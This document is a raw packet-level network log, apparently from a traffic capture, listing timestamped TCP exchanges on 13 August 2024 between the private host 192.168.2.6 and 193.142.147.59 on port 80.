Aug 13, 2024 10:21:16.576459885 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.576462030 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.576471090 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.576473951 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.576498985 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.576524019 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.646414995 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.646447897 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.646481037 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.646502018 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.646512985 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.646513939 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.646524906 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.646537066 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.646543980 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.646574020 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.646641970 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.646675110 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.647250891 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.647315025 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.647315025 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.647327900 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.647350073 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.647365093 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.647408009 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.647419930 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.647442102 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.647459030 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.647674084 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.647711039 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.647737026 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.647747993 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.647773027 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.647878885 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.647890091 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.647902012 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.647912025 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.647914886 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.647924900 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.647947073 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.647972107 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.648139000 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.648150921 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.648161888 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.648174047 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.648175001 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.648185015 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.648191929 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.648197889 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.648207903 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.648227930 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.648386955 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.648396969 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.648407936 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.648421049 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.648425102 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.648441076 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.648471117 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.648673058 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.648685932 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.648696899 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.648708105 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.648713112 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.648720026 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.648725033 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.648730993 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.648741961 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.648750067 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.648751020 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.648762941 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.648773909 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.648777962 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.648785114 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.648789883 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.648819923 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.649111032 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.649130106 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.649142981 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.649153948 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.649157047 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.649163961 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.649174929 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.649182081 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.649188042 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.649199963 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.649208069 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.649221897 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.649249077 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.649660110 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.649672031 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.649682999 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.649693966 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.649703026 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.649703979 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.649714947 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.649720907 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.649725914 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.649736881 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.649748087 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.649749994 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.649760008 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.649770021 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.649770975 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.649780035 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.649780989 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.649791002 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.649801970 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.649813890 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.649816036 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.649823904 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.649835110 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.649837017 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.649847031 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.649858952 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.649859905 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.649877071 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.649903059 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.650489092 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.650501013 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.650510073 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.650521994 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.650528908 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.650532961 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.650568962 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.650588036 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.662144899 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.662158012 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.662169933 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.662252903 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.662396908 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.662409067 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.662420988 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.662430048 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.662442923 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.662450075 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.662507057 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.662518024 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.662528038 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.662539005 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.662549019 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.662549973 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.662560940 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.662566900 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.662574053 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.662595987 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.662621021 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.662781000 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.662791014 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.662801027 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.662811995 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.662820101 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.662822962 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.662833929 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.662843943 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.662844896 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.662858009 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.662862062 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.662887096 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.662910938 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.663171053 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.663183928 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.663192987 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.663198948 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.663209915 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.663212061 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.663219929 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.663220882 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.663230896 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.663245916 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.663254976 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.663270950 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.663294077 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.663568020 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.663583994 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.663594007 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.663604975 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.663605928 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.663618088 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.663619041 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.663631916 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.663642883 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.663649082 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.663674116 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.663697004 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.664047003 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.664057016 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.664073944 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.664083958 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.664088964 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.664094925 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.664099932 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.664109945 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.664110899 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.664134026 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.664154053 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.734066963 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.734093904 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.734127045 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.734190941 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.734196901 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.734201908 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.734211922 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.734224081 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.734226942 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.734253883 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.734266043 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.734983921 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.735002995 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.735013008 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.735038996 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.735047102 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.735152006 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.735162973 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.735172987 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.735183954 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.735191107 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.735214949 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.735352993 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.735363960 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.735373974 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.735383987 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.735393047 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.735421896 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.735555887 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.735567093 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.735578060 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.735589027 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.735591888 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.735621929 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.735810995 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.735821962 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.735831022 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.735841036 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.735851049 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.735852003 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.735861063 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.735871077 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.735871077 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.735881090 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.735889912 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.735894918 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.735918045 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.735944033 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.736263037 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.736275911 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.736287117 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.736300945 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.736308098 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.736332893 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.736357927 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.736546040 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.736557961 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.736567020 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.736577988 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.736587048 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.736588001 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.736599922 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.736608982 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.736614943 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.736619949 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.736629963 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.736629963 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.736639977 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.736649990 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.736658096 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.736660004 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.736670971 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.736684084 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.736702919 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.736725092 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.737261057 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.737273932 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.737286091 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.737296104 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.737308025 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.737308025 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.737313986 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.737317085 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.737327099 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.737334967 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.737341881 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.737344980 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.737354994 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.737361908 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.737364054 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.737374067 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.737380981 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.737384081 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.737394094 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.737399101 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.737410069 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.737418890 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.737423897 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.737430096 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.737452030 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.737463951 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.738089085 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.738101006 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.738111019 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.738120079 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.738128901 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.738131046 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.738147020 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.738172054 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.749524117 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.749556065 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.749588966 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.749607086 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.749634981 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.749634981 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.749706984 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.749718904 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.749746084 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.749754906 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.749898911 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.749910116 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.749917984 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.749927998 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.749933958 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.749938965 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.749973059 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.750134945 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.750147104 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.750155926 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.750165939 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.750173092 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.750202894 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.750252008 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.750288010 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.750314951 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.750324965 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.750334024 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.750344038 CEST	80	49711	193.142.147.59	192.168.2.6
